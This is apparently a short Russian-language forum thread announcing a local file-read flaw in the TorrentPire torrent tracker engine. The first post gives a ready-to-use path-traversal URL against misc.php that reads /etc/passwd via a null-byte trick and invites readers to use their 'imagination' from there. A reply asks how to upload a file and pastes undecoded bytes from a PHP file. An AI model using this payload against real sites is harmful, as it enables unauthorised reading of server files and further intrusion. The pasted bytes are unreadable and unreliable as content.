![]() |
уязвимость в TorrentPire
Движок торрент трекера TorrentPire (на нем torrents.ru крутится) имеет уязвимость, локальный доступ к файлам.
Делается например так. http://---------------/misc.php?do=info&show=../../../../../../../../etc/passwd%00.html Фото можно у меня глянуть http://torrent4all.com/viewtopic.php?t=279 Дальше на вашу фантазию. Разработчики уведомлены. P.S. сам т.ру так поиметь низя :) |
friend-friend частично разобрался, а файл никак нельзя залить?
и почему когда я просматриваю php файл, то вот такое вот появляется: Код:
‹ҐZйrWvюM>ЕUK“hЬD‘k±¬‰¶Ht©¦dЄ4Ђ–ЭpwѓЛh\•шO~жж\I\q–с$NM•+—©©y?,? DRцШ.*Ґ|зЬЫЌAI¶B |
| Время: 23:41 |